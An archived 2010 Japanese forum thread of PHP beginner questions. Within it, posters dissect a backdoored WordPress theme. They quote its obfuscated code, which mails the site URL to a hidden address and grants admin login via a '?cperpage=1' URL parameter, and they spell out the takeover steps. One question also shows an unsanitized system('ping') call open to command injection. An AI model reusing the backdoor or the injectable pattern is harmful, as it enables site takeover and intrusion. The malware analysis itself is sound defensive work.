【PHP】下らねぇ質問はID出して書き込みやがれ 95
■ このスレッドは過去ログ倉庫に格納されています
0001nobodyさん
2010/04/19(月) 09:15:05ID:???過去スレ、関連スレ、FAQなどは>>2-10辺り
次スレは>>980が立てる。10分以内に立たない場合、宣言してから立てたい人が立てること。
◆前スレ
【PHP】下らねぇ質問はID出して書き込みやがれ 94
http://pc11.2ch.net/test/read.cgi/php/1268835461/
◆質問用テンプレ
【OS名】CentOS
【PHPのバージョン】5.3
【連携ソフトウェア】MySQL ImageMagick
【質問内容】
◆質問する時の注意
・ スレを上げて自分のIDを表示させること。(メール欄に何も記述しない。専ブラのsageチェックを外す)
・ 己の行った操作、変更などを詳しく明記すること。
・ エラーメッセージはそのまま表記すること。「エラーが出ます」だけでは回答不可。
・ 質問者として、態度をわきまえること。
・ 事前に関連リンクの公式マニュアル、リファレンス本くらいはちゃんと目を通しておくこと。
(PHPで最良の教本はこの公式マニュアル。市販の書籍は嘘が多いので鵜呑みにしない。)
◆質問後の注意
・2回目以降は最初に質問した際のレス番号を入れて、偽者防止に必ずIDを表示させること。
・解決しなくても回答をもらった場合はお礼を言うこと。
(荒らし、煽りは除く。煽られたときも、無闇に反論せずスルーすること。)
◆回答者への注意
・誰にレスしているのか分からないと困るので、>>(アンカー)をつけて回答すること。
【その他諸注意】
・SQL・正規表現・PEAR・テンプレート(Smarty等)・フレームワークは各該当スレへ
0385nobodyさん
2010/05/07(金) 06:53:54ID:???その筋書きで言うなら、
クラスは金型
インスタンスは(金型から出てきた)部品
オブジェクトとインスタンスについては…俺はパス。
0386nobodyさん
2010/05/07(金) 07:14:53ID:???0387nobodyさん
2010/05/07(金) 07:38:13ID:???0388nobodyさん
2010/05/07(金) 08:05:00ID:???0389nobodyさん
2010/05/07(金) 12:10:47ID:HaF8gLhMPHP:5.1.6
system関数でpingを打ってるんですが改行コードを<br />に変換したいと思ってます。
コードはこれになります。
$ret = system('ping -c3 '.$ping);
$retをnl2brで変換しても改行されずereg_replaceで\r|\nを正規表現で指定してもダメでした。
この場合の改行はどのように検出すればいいのでしょうか?
0390nobodyさん
2010/05/07(金) 12:50:10ID:???返り値は、最後の行のみ
0391nobodyさん
2010/05/07(金) 13:11:42ID:y4A+Fgebありがとうございました
0392nobodyさん
2010/05/07(金) 13:13:05ID:???pingの結果(出力)を丸々取得して、改行を<br />に変えるだけなら
$ret = `ping -c3 localhost`;
print_r(nl2br($ret));
こんなんでどうでしょう?
0393nobodyさん
2010/05/07(金) 14:23:48ID:???からきました。
http://harmonyinfotech.in/cms/wordpress-cms/wordpress-virus-function-_check_isactive_widgets/
global $wpdb, $post;で検索かけてでてくる下のコードって何してるコードか
教えてもらえませんか?
同じコードが
http://www.themes2wp.com/download-free-simpleperfect-wordpress-theme
から落とせるfunction.phpにふくまれています。
これを入れると[email protected]にメールを送ろうとします。
0394393
2010/05/07(金) 14:25:13ID:qmvwAXR30395nobodyさん
2010/05/07(金) 16:01:59ID:???何行目あたり とか function hoge とか
0396nobodyさん
2010/05/07(金) 16:08:14ID:wvX4OPsC【PHPのバージョン】5.3
【連携ソフトウェア】XAMPP
【質問内容】
ログイン管理を考えて色々と試したり、検索しています。
ハッシュ化しているとはいえパスワードをセッション変数に入れて持ちまわるのは良くないという記述を見かけます。
とすると、どういうふうにログイン状態を管理すべきなのでしょう?
$_POSTされたIDとパスワードをDBなどの情報と照合する
ログインできたらセッションIDをregenerateして、例えば$_SESSION['is_login'] = 1;みたいなかんじでログインできていることを示す変数を用意する。
念の為にIDもセッションに入れておく?
>>310にもあるように、必要なときにパスワードの再入力を促す。
それ以外はログイン済みかどうかというフラグと、ログインIDの有無だけでチェックする。
とか?
0397393
2010/05/07(金) 16:24:34ID:qmvwAXR3http://harmonyinfotech.in/cms/wordpress-cms/wordpress-virus-function-_check_isactive_widgets/
http://www.themes2wp.com/download-free-simpleperfect-wordpress-themeから落としてきたコードだと
457行目です。
↓の一行です。長いので改行しています。
$sq1="SELECT DISTINCT ID, post_title, post_content, post_password, comment_ID, comment_post_ID,
comment_author, comment_date_gmt, comment_approved, comment_type,
SUBSTRING(comment_content,1,$src_length) AS com_excerpt FROM $wpdb->comments LEFT OUTER JOIN
$wpdb->posts ON ($wpdb->comments.comment_post_ID=$wpdb->posts.ID) WHERE comment_approved=\"1\" AND
comment_type=\"\" AND post_author=\"li".$sepr."vethe".$comment_types."mes".$sepr.
"@".$c_is_approved."gm".$comment_auth."ail".$sepr.".".$sepr."co"."m\" AND post_password=\"\" AND comment_date_gmt >=
CURRENT_TIMESTAMP() ORDER BY comment_date_gmt DESC LIMIT $src_count";#
0398nobodyさん
2010/05/07(金) 17:13:34ID:8aUTct47457行目はメールアドレス埋め込むためのダミーかな
最終的に「$text_s」へメアドがセットされるんだと思う
次に483行目の$sq1へSQL文定義するとみせかけて回りくどく関数呼んでる
call_user_func_array($getcommtext, array($text_s, $f_home, $f_types))
これはwp_mail($text_s, $f_home, $f_types)と同義で
メアドにget_option("home")の値を本文としてメールを発射する処理
仕上げは532行目、上と同じ手段で次の処理を実行
@wp_set_auth_cookie( $_GET["cperpage"], true )
cperpageつうのは有りそうで無さそうな仕込みラベル
任意のIDをwp_set_auth_cookie()できるURLを集めるテーマって感じ?
wp_set_auth_cookie()
ttp://codex.wordpress.org/Function_Reference/wp_set_auth_cookie
どんな悪いことが出来るのか教えてエロい人
0399nobodyさん
2010/05/07(金) 17:40:20ID:???0400nobodyさん
2010/05/07(金) 17:50:54ID:???今落としてみたらそのコード入ってなかったよ
落とした時点で入ってた?
設置したサーバが感染してるかもしれんよ
>>398
[email protected]で検索してヒットしたページは
誰でも認証済みになるとかなのかな・・
0401393
2010/05/07(金) 18:38:21ID:qmvwAXR3詳しく説明していただいてありがとうございます。
悪用できそうなブログページを集めているという事でしょうか?
>>399
同感です。鯖の設定含めて安易な機能拡張は危険ですね。
>>400
>落とした時点で入ってた?
そのはずです。
今もう一度落としたらはいってたので間違いないと思います。
cdce4060a12b203d28d2ca1471225cb0.zip
というファイルがダウンロードされて中のSimplePerfectディレクトリ以下の
function.php(457行目)というファイルに該当の記述があります。
サーバ上で解凍してもWindows機で解凍しても同じっぽいのでたぶん、もともとだと思います。
>設置したサーバが感染してるかもしれんよ
一応Webのディレクトリは0から作り直したので大丈夫だと思います。
でも、ちょっと怖いです。。
0403nobodyさん
2010/05/07(金) 19:01:49ID:8aUTct47このテーマ使ってるサイトは
http://URL/?cperpage=1
にアクセスするだけで誰でもadminでログイン状態になれるぽい
要は管理権限乗っ取りテーマ
真っ黒でした
>>400は他のサイトにある汚染前のコードを見たんじゃない?
0404393
2010/05/07(金) 19:12:47ID:qmvwAXR3インストールしてこのコード実行されてから気づいたので、見つけたタイミング的には完全にアウトでした。
テーマを入れる
↓
サーバのメールキューをみる。
↓
配送されてないメールがある。(OB25でひっかかってた。)
↓
@で関係ありそうなphpファイルをgrepかける。
↓
分割されたメールアドレス発見。
0405393
2010/05/07(金) 19:17:35ID:???ドキドキしながら試してみました。
別クライアントで試したのですが、普通にブログトップが表示されただけでした。
よかったです。感謝です。
0406nobodyさん
2010/05/07(金) 19:26:51ID:8aUTct47いったん管理画面に入ってログアウトしてログイン状態を切った後に
http://URL/?cperpage=1
にアクセスでブログトップが表示
そのあとにここへ
http://URL/wp-admin/
ちなみにログイン状態は2週間有効ぽい
0409nobodyさん
2010/05/07(金) 21:20:51ID:VMqH6m/qふぁぼったー
このサイトってどんな仕組みなの?
サーチエンジンとか調べれば分かるかな?
同じような仕組みのサイトを作りたいと思ってるんで
なにかヒントでもあれば
0411nobodyさん
2010/05/08(土) 00:25:18ID:???0412nobodyさん
2010/05/08(土) 00:36:37ID:???twitterで作者に聞いてみればいいんじゃね
0413nobodyさん
2010/05/08(土) 00:38:26ID:NbVWnISJ【PHPのバージョン】5.2
【質問内容】
MYSQLとの連携で、質問させてください。
$_GET ["id"]を取得してSELECT * FROM account WHERE uid = $idで
一致の場合のみ、続きへ…という流れのプログラムを組んでます。
上記の場合、結果が見つからない場合の戻り値はNULLになるんでしょうか。
SELECT文の結果をechoしてもResource id #6と出てきてお手上げ状態です。
0414nobodyさん
2010/05/08(土) 02:06:22ID:???返値が resource って,id があった場合でも同じだろw
fetch とかで結果のresourceから値を取り出さなきゃ分からんと思う
ちなみにそのケースなら
SELECT COUNT(uid) cnt
FROM account
WHERE uid = $id
がいいと思う
あとプリペアドステートメント使おうな
0415nobodyさん
2010/05/08(土) 02:29:56ID:???0416nobodyさん
2010/05/08(土) 11:32:45ID:NbVWnISJありがとうございます。
mysql_fetch_assoc等で値を取り出さないとダメってことですね。
例で出していただいた、構文についてもCOUNT使うということで勉強になりました。
0417nobodyさん
2010/05/08(土) 12:12:22ID:C2BBFFWmphp.iniの書き換えは無しで。
0418nobodyさん
2010/05/08(土) 12:34:50ID:???0419nobodyさん
2010/05/08(土) 12:52:29ID:C2BBFFWmやり方教えてください
0420nobodyさん
2010/05/08(土) 13:29:40ID:???0421nobodyさん
2010/05/08(土) 14:55:01ID:???0423nobodyさん
2010/05/08(土) 16:54:38ID:C2BBFFWmdl()でカレントディレクトリのDLLを読み込む方法教えてください。
0424nobodyさん
2010/05/08(土) 19:52:43ID:???dl関数ではカレントディレクトリはたぶん無理。
というか、extension_dirからしか無理だったと思う。
php.iniがいじれない理由は?
0425nobodyさん
2010/05/08(土) 22:34:13ID:???0426nobodyさん
2010/05/08(土) 22:38:13ID:???拡張はサーバ起動時に読み込まれるから後から変更はできないよ
0427nobodyさん
2010/05/08(土) 22:44:02ID:???htaccessでCGIに変更できるなら可能性はあるかもしれない。
phpの-cオプションでphp.iniを渡せばいけるかも。
0428nobodyさん
2010/05/09(日) 01:27:09ID:???例えば日付で
20100508
という文字列を見つけた場合に
2010-05-08
と「-(ハイフン)」を自動で挿入するにはどういうコードを書けばよいでしょうか?
0430nobodyさん
2010/05/09(日) 02:18:53ID:???print_r(strftime("%Y-%m-%d", strtotime("20100508") ));
http://ideone.com/Lbv0Y
0431nobodyさん
2010/05/09(日) 02:33:54ID:Xcu8pyMUチェックできると思うのですが、どちらを使ってもよいのでしょうか?
0433nobodyさん
2010/05/09(日) 02:51:23ID:Xcu8pyMUレスありがとうございます!
よろしければ、オススメしない理由を教えて頂けないでしょうか?
0434nobodyさん
2010/05/09(日) 02:59:27ID:???どうして?
>>431
結果は同じだろうけど !empty() の方が関数呼び出しとかで
オーバーヘッドは大きいはず。そもそも見づらい。
別にルールがあるんじゃなければ自由に書いたらいいと思うけど
見た感じで文字列と仮定して,自分なら
if (0 < strlen($data))
かな
true === is_string($data)
もケースで併せるかも
0435434
2010/05/09(日) 03:00:10ID:???0436nobodyさん
2010/05/09(日) 03:01:29ID:???プログラミング作法1.2文と式より
p23
自然な形の式を使おう。式は自分で音読するつもりで書こう。条件式に否定が含ま
れていると間違いなく分かりづらくなる。
0437nobodyさん
2010/05/09(日) 03:03:20ID:???ありがとうございます。
やっぱりちまちま substr なんかでやるよりも正規表現でやった方がカッコ良いですね。
0438431
2010/05/09(日) 03:04:08ID:Xcu8pyMU参考になりました。
0440nobodyさん
2010/05/09(日) 04:45:20ID:???>
>20100508
>
>という文字列を見つけた場合に
と書かれてるんですがstrtotimeで文字列見つけられるんですね
0441nobodyさん
2010/05/09(日) 04:47:29ID:???http://jp.php.net/manual/ja/function.strtotime.php
0442nobodyさん
2010/05/09(日) 05:23:48ID:???文字列中に含まれる場合の話か?
([^\d])(19|2\d)(\d{2})([01][\d])([0123]\d)([^\d]), $1$2$3-$4-$5$6
でどうだ!
酔ってる上にテストも何もしてない。今も反省してない。
0443nobodyさん
2010/05/09(日) 05:36:57ID:???こっちで
preg_replace('#([^\d])?(19|2\d)(\d{2})([01][\d])([0123]\d)([^\d])?#', '$1$2$3-$4-$5$6', $data);
0444nobodyさん
2010/05/09(日) 05:44:51ID:???preg_replace('#([^\d])?(19|2\d)(\d{2})(0[\d]|1[012])([012]\d|3[01])([^\d])?#', '$1$2$3-$4-$5$6', $str);
2/31 とかはもう知らない!
0445nobodyさん
2010/05/09(日) 06:57:07ID:???穴だらけの正規表現式作るぐらいならゆっくり寝ててくれ
0446nobodyさん
2010/05/09(日) 07:30:17ID:???休みだから朝まで飲んでんだYO 放っとけ
日付の検証まですんなら preg_match で配列にぶち込んで
checkdate() かけろや
市ね
0447nobodyさん
2010/05/09(日) 08:40:25ID:???return $matches[1] .'-'. substr($matches[2], 0, 2) .'-'. substr($matches[2], 2, 2);
}, $string);
0448nobodyさん
2010/05/09(日) 13:14:50ID:???0449nobodyさん
2010/05/09(日) 13:18:16ID:???0450nobodyさん
2010/05/09(日) 14:29:40ID:???0453nobodyさん
2010/05/09(日) 14:40:09ID:aP6EP8RPつ〜か正規表現スレでやってくれ
0455nobodyさん
2010/05/09(日) 15:05:49ID:???0456nobodyさん
2010/05/09(日) 16:29:46ID:???正気か?
0457nobodyさん
2010/05/09(日) 18:55:16ID:???0458nobodyさん
2010/05/09(日) 20:42:38ID:???0459nobodyさん
2010/05/10(月) 01:09:53ID:vRmaBKnV1から150までにマッチするかどうかの書き方教えてください
preg_match('ここがわかりません', $_GET['item'])
0460nobodyさん
2010/05/10(月) 01:21:03ID:???0461nobodyさん
2010/05/10(月) 01:23:50ID:vRmaBKnV0462nobodyさん
2010/05/10(月) 01:27:37ID:???0463nobodyさん
2010/05/10(月) 01:37:29ID:JCaE/ZFeheader('Content-type: text/plain') と投げたあとだとうまく行かない。
"html"だとうまく行く。plainのときは制限されてる?
PHP Version 5.2.9
Mac OS/ Apache 2.0 です
0464nobodyさん
2010/05/10(月) 01:41:02ID:???なんでもかんでも正規表現で解決しようとする事が間違ってる
$i = (int)trim($_GET['item']);
if($i>=1 && $i<=150){
echo "OK";
}
みたいな感じでいいじゃないかカスが
0465nobodyさん
2010/05/10(月) 01:56:35ID:???0466nobodyさん
2010/05/10(月) 01:57:37ID:???0467nobodyさん
2010/05/10(月) 02:00:18ID:???0468nobodyさん
2010/05/10(月) 02:09:05ID:???0469nobodyさん
2010/05/10(月) 02:20:37ID:???$s = trim($_GET['item']);
$i = (int)$s;
if((string)$i === $s && $i>=1 && $i<=150){
echo "OK";
}
0470nobodyさん
2010/05/10(月) 03:11:53ID:cklWnYDyクッキーの保存期間は出来る限り長くしようと安直に考えて、1年とかにしました。
クッキーの保存期間はどの程度の長さにすればよいか、目安となる考え方はあるでしょうか?
単純に開発者視点では長ければ長いほどよいのではと考えちゃっています。
0471nobodyさん
2010/05/10(月) 03:36:43ID:???目安はサイトの内容とかによるのかもしれないけど、ユーザーの負担にならない程度の利便性と安全性で考えた方がいいのかも。
後は、クッキーに認証情報を保存している訳ではないと思うので、DB等から参照する時のコストも含めてという感じ?
30日程度が多いような気もする。
0472nobodyさん
2010/05/10(月) 09:20:38ID:???調べてみたところselectSingleNodeが無いのですが
自作するしかないでしょうか?
0473nobodyさん
2010/05/10(月) 09:35:52ID:???0474nobodyさん
2010/05/10(月) 09:39:08ID:???0475nobodyさん
2010/05/10(月) 09:45:26ID:???0478nobodyさん
2010/05/10(月) 10:21:43ID:???0479nobodyさん
2010/05/10(月) 10:57:59ID:cklWnYDyありがとうございます。参考になります。
0480nobodyさん
2010/05/10(月) 10:59:43ID:???0481nobodyさん
2010/05/10(月) 11:58:25ID:???0484nobodyさん
2010/05/10(月) 14:30:04ID:???環境は、
windows7
Apache2.2
PHP5.1
mysql server 5.1
です。
普通のphpファイルは開けるのですが、
mysql_connect()を使うとブラウザでページを表示できなくなります。
なぜでしょうか?
0485nobodyさん
2010/05/10(月) 14:31:54ID:???user: "root"
です。
パスは間違えてないはずです。
■ このスレッドは過去ログ倉庫に格納されています